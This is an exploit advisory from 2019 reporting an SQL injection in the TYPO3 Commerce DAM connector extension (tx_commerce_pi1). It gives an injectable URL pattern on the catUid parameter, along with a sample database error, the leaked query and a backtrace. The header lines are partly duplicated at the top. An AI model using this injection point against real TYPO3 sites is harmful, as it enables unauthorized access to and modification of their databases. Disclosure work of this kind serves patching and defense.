####################################################################

# Exploit Title : Typo3 CMS Commerce DAM connector tx_commerce_pi1 0.1.0 SQL Injection
# Author [ Discovered By ####################################################################

# Exploit Title : Typo3 CMS Commerce DAM connector tx_commerce_pi1 0.1.0 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : opencontent.org ~ typo3.org
# Software Information Links : forge.typo3.org/projects/extension-dam_commerce
docs.typo3.org/typo3cms/extensions/dam_commerce/Manual/Index.html
docs.typo3.org/typo3cms/extensions/commerce/
# Software Affected Versions : 0.0.1 - 0.0.2 - 0.0.3 - 0.0.4 - 0.0.5 - 0.1.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description :
***************************
TYPO3 the Professional, Flexible Content Management System.

####################################################################

# Impact :
***********
Typo3 Commerce DAM connector tx_commerce_pi1 0.1.0 [ and other versions ]

extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize

user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

####################################################################

# SQL Injection Exploit :
**********************

/index.php?id=[ID-NUMBER]&L=[ID-NUMBER]&tx_commerce_pi1%255BshowUid%255D=[ID-NUMBER]&tx_commerce_pi1%255BcatUid%255D=[SQL Injection]

####################################################################

# Example SQL Database Error :
****************************

exec_SELECTquery
******************

caller - TYPO3CMSCoreDatabaseDatabaseConnection::exec_SELECTquery

ERROR
*********

You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 'AND tx_commerce_
products_categories_mm.uid_foreign = AND tx_commerce_products.u' at line 1

lastBuiltQuery
*************

SELECT tx_commerce_categories.uid as catUid, tx_commerce_
categories.title as catTitle,tx_commerce_categories.sys_language_uid as
catSysLanguageUid,MAX(tx_commerce_article_prices.purchase_price)
as crossedPrice, MIN(tx_commerce_article_prices.price_gross) as priceMin,
MAX(tx_commerce_article_prices.price_gross) as priceMax, GROUP_CONCAT
(tx_commerce_products.sni_attributes SEPARATOR ",") as attributes,
tx_commerce_categories.sni_attributes as catAttributes FROM tx_commerce_
categories,tx_commerce_products,tx_commerce_products_categories_mm,
tx_commerce_articles,tx_commerce_article_prices WHERE tx_commerce_
categories.uid = AND tx_commerce_products_categories_mm.uid_foreign =
AND tx_commerce_products.uid = tx_commerce_products_categories_
mm.uid_local AND tx_commerce_articles.uid_product = tx_commerce_products.uid
AND tx_commerce_article_prices.uid_article = tx_commerce_articles.uid AND
tx_commerce_articles.deleted = 0 AND tx_commerce_articles.hidden = 0 AND
tx_commerce_article_prices.deleted = 0 AND tx_commerce_article_prices.hidden =
0 AND tx_commerce_products.deleted = 0 AND tx_commerce_products.hidden = 0

debug_backtrace
***************

require(src-6.2.31/typo3/sysext/cms/tslib/index_ts.php),
src-6.2.31/index.php#28 // TYPO3CMSFrontendPagePageGenerator::renderContent#212
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGet#215
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGetSingle#697 //
TYPO3CMSFrontendContentObjectTemplateContentObject->render#752 //
TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGetSingle#128
// TYPO3CMSFrontendContentObjectContentObjectArrayContentObject->render#752
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGet#40
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGetSingle#697
// TYPO3CMSFrontendContentObjectTemplateContentObject->render#752
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGetSingle#128
// TYPO3CMSFrontendContentObjectContentObjectArrayContentObject->render#752
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGet#40
// TYPO3CMSFrontendContentObjectContentObjectRenderer->cObjGetSingle#697
// TYPO3CMSFrontendContentObjectUserContentObject->render#752
// TYPO3CMSFrontendContentObjectContentObjectRenderer->callUserFunction#41
// call_user_func_array#6663 // tx_snicommercefilter_pi1->main#
// tx_snicommercefilter_pi1->getCategoryInfo#74 // TYPO3CMSCore
DatabaseDatabaseConnection->exec_SELECTquery#128
// TYPO3CMSCoreDatabaseDatabaseConnection->debug#305

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################